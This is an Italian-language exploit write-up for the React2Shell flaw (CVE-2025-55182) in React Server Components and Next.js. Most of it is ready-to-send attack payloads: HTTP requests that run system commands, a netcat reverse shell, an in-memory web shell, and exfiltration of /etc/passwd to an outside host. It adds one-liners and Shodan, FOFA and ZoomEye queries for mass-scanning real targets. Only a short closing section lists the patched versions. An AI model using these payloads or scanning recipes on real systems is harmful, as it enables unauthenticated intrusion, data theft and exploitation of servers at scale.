Vulnerabilità React2Shell - CVE-2025-55182 📓

Introduzione

Questa vulnerabilità, conosciuta come React2Shell, è stata scoperta a dicembre 2025 e interessa componenti di next.js con CVSS 10.0. Con una semplice richiesta POST, è possibile ottenere una grave RCE non autenticata. Di seguito sono elencate le versioni interessate da questa vulnerabilità.

Versioni interessate -> 19.0, 19.1.0, 19.1.1, 19.2.0

La vulnerabilità interessa i componenti
- react-server-dom-webpack
- react-server-dom-parcel
- react-server-dom-turbopack

POC ⚠️

CVE-2025-55182 è fondamentalmente una vulnerabilità di deserializzazione insicura nel modo in cui i componenti React Server gestiscono i payload in arrivo del protocollo Flight. La vulnerabilità risiede nella funzione requireModule all'interno del pacchetto react-server-dom-webpack. Esempio;

function requireModule(metadata) {  
 var moduleExports = __webpack_require__(metadata[0]);  
 ...  
 return moduleExports[metadata[2]];  // Vunl 
}

Di seguito un esempio di payload per questo exploit.

Accedere a process.mainModule (il modulo principale in esecuzione)
Usare il suo metodo require per caricare il modulo child_process
Chiamare execSync per eseguire un comando del sistema operativo
Eseguire il comando ID.

{  
 "then": "$1:__proto__:then",  
 "status": "resolved_model",  
 "reason": -1,  
 "value": "{\\"then\\":\\"$B9999\\"}",  
 "_response": {  
   "_prefix": "process.mainModule.require('child_process').execSync('id');",  
   "_chunks": "$Q2",  
   "_formData": {  
     "get": "$1:constructor:constructor"  
   }  
 }  
}

Ora proviamo a riprodurre questo payload.

Payload con reverse shell.

"_prefix": "var res=process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 1.1.1.1 4444 >/tmp/f',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",

Elenco dei Payload 🔥

Ecco un elenco di payload che possono essere usati per esplorare l'applicazione.

Payload 1

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 578

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('id');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Payload 2 - Runtime Memory Shell

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 1176

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "(async()=>{const http=await import('node:http');const url=await import('node:url');const cp=await import('node:child_process');const o=http.Server.prototype.emit;http.Server.prototype.emit=function(e,...a){if(e==='request'){const[r,s]=a;const p=url.parse(r.url,true);if(p.pathname==='/exec'){const cmd=p.query.cmd;if(!cmd){s.writeHead(400);s.end('cmd parameter required');return true;}try{s.writeHead(200,{'Content-Type':'application/json'});s.end(cp.execSync(cmd,{encoding:'utf8',stdio:'pipe'}));}catch(e){s.writeHead(500);s.end('Error: '+e.message);}return true;}}return o.apply(this,arguments);};})();",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Payload 3

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Payload 4 - Output in Response Header

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 689

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Payload 5 - DNS Interaction / Out-of-Band

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 689

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "process.mainModule.require('http').get('http://10.0.9.224:8000/');",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Payload 6 - Exfiltrate passwd via POST

POST / HTTP/1.1
Host: 10.10.0.5:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 646

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "process.mainModule.require('http').request({hostname:'10.0.9.224',path:'/test',method:'POST'}).end(process.mainModule.require('fs').readFileSync('/etc/passwd'));","_chunks": "$Q2","_formData":{"get":"$1:constructor:constructor"}
  }
}

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Oneliner ⚠️

Trovare app Next.js

cat alive.txt | httpx -silent -match-string "/_next/" -match-string "__NEXT_DATA__" | anew nextjs_targets.txt

Verificare se l'header Next-Action è accettato

curl -s -o /dev/null -w "%{http_code}" -X POST https://target.com -H "Next-Action: test" -H "Content-Type: text/plain" --data '0'

Trovare la vulnerabilità usando il payload.

Creare il file trigger.txt.

echo '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B0\"}","_response":{"_prefix":"7*7","_formData":{"get":"$1:constructor:constructor"}}}' > payload.json && echo '"$@0"' > trigger.txt

Trovare il risultato "7*7" usando il file trigger.txt.

curl -X POST https://target.com -H "Next-Action: check" -F "[email protected]" -F "[email protected]" --max-time 5 -v 2>&1 | grep -iE "(49|error|stack|trace)"

Testare URL.

subfinder -d target.com -silent | httpx -silent -match-string "/_next/" | tee nextjs.txt | xargs -I@ -P10 sh -c 'R=$(curl -s -w "\n%{http_code}" -X POST @ -H "Next-Action: x" --data "test" 2>/dev/null | tail -1); [ "$R" = "200" ] || [ "$R" = "400" ] && echo "[!] REACT2SHELL CANDIDATE: @"' | anew vuln_candidates.txt

Trovare server

Shodan

http.component:"next.js,react"
https://www.shodan.io/search?query=http.component%3A%22next.js%2Creact%22

FOFA

app="NEXT.JS" || app="React.js"
https://en.fofa.info/result?qbase64=YXBwPSJORVhULkpTIiB8fCBhcHA9IlJlYWN0LmpzIg%3D%3D

ZoomEye

http.body="react.production.min.js" || http.body="React.createElement(" || app="React Router"  || app="React.js"
https://www.zoomeye.ai/searchResult?q=aHR0cC5ib2R5PSJyZWFjdC5wcm9kdWN0aW9uLm1pbi5qcyIgfHwgaHR0cC5ib2R5PSJSZWFjdC5jcmVhdGVFbGVtZW50KCIgfHwgYXBwPSJSZWFjdCBSb3V0ZXIiIHx8IGFwcD0iUmVhY3QuanMi&utm_source=x&utm_medium=x&utm_campaign=x_React_25120401

Template Nuclei

https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-55182.yaml

Versione corretta ✅

Correggere la propria applicazione con le seguenti versioni;

React-server-dom-* - 19.0.1, 19.1.2 e 19.2.1
Next.js con App Router - 14.x stable, 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7

Qualsiasi framework o libreria che include l'implementazione react-server è probabilmente affetto. Ciò include, ma non si limita a:

* Next.js
* Plugin Vite RSC
* Plugin Parcel RSC
* Anteprima React Router RSC
* RedwoodSDK
* Waku

CVE-2025-55182

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